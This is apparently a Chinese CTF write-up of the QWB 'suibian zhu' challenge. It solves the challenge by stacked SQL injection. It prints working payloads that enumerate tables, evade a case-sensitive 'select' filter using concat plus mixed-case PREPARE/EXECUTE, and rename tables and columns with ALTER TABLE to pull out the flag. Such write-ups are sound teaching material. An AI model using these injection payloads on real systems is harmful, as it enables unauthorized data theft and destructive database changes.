qwb随便注

本文最后更新于:2022年1月22日 晚上

这个是非常经典的一个题目了,由于之前一直有点害怕这种高阶的题,就一直没有整理

这题的过滤很严格,常规注入和报错注入都行不通,主要是过滤了select等

image-20211129223908764

这里给出了详细的过滤内容,一些常用的姿势都被过滤了

然后这里其实就是存在一个堆叠注入

1
1;show databases#

image-20211129224223294

1
1;show tables#

image-20211129224255616

1
2
1';show columns from `1919810931114514`#
#注意这里的表名要加反引号

关于这个反引号我一开始还是有点疑惑的,然后话不多说打开mysql实践了一下。

先说一下反引号吧

  • MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名

  • 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值

但是为什么正常情况下可以不加但是这里却要加呢,原因应该主要是这个表名全是数字,话不多说,看图

image-20211129230753879

情况大概就是这样了。

这个姿势还是有必要记一下的

image-20211201203239870

发现flag在114514表里

当然这里也能用desc来查看表的详细结构,效果是一样的

image-20211201203355263

剩下的就是查数据了,但是这里过滤了select,事情非常不好办。

去研究了一波大佬的wp才弄清楚具体的一些姿势

这里有两种方式

预编译

这里参考一下https://www.cnblogs.com/micrari/p/7112781.html 的一些解释

image-20211201203725956

image-20211201203808509

image-20211201205408404

实践一下

那么现在来这题应用一下吧

这里其实刚开是我还是有点蒙比,一直想着先prepare,完事再set

其实可以直接先用set来构造一个拼接的sql语句

然后利用prepare预编译

最后用execute执行

1
2
3
set @test=concat('se','lect * from `1919810931114514`');
prepare test1 from @test;
execute test1;

去试了一下

image-20211201211718824

被检测到了

但是他这里用的是strstr函数,存在大小写绕过

虽然知道咋绕过了,但是本着深入研究的精神,咱还是去官方文档了解一下这个函数的细节

image-20211201212419075

这里他给出了一个用例,且说明了此函数区分大小写(绕过之说就在这)

同时也给了一个姊妹函数image-20211201212747498

文档也给出了一个例子

1
2
3
4
5
6
7
8
<?php
$email = 'name@example.com';
$domain = strstr($email, '@');
echo $domain; // 打印 @example.com

$user = strstr($email, '@', true); // 从 PHP 5.3.0 起
echo $user; // 打印 name
?>

比较简单

1
1';Set @test=concat('se','lect * from `1919810931114514`');Prepare test1 from @test;execute test1;#

把set和prepare大小写了得到最终payload

image-20211201213008650

flag到手

修改表名

这个方法就比较朴素了

他这个查询的表应该是words

也就是说能用1'or 1=1#的方法查出words表的所有数据

那么这里就有新的奇技淫巧了

他这个sql语句应该是

1
select * from words where id='';

然后我们想查询114514表里的所有数据的话,把114514变成words不就好了吗

也就是

1
2
alter table words rename to test;
alter table `1919810931114514` rename to words;

到这里还没有结束

因为上面的索引用的是id

image-20211201213845515

这是words的结构

image-20211201213907637

而这是114514的结构

也就是说我们得把id改为flag

但是我们没法改他的sql语句啊

我们就改一下列名

由于前面我们已经把114514改名为words了

所以这里的表名应该是words

1
alter table words change flag id varchar(100);

也就是说最终payload为

1
1';alter table words rename to test;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

image-20211201215038212

成功

(我想到一个骚操作不知道可行不,有空再写)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!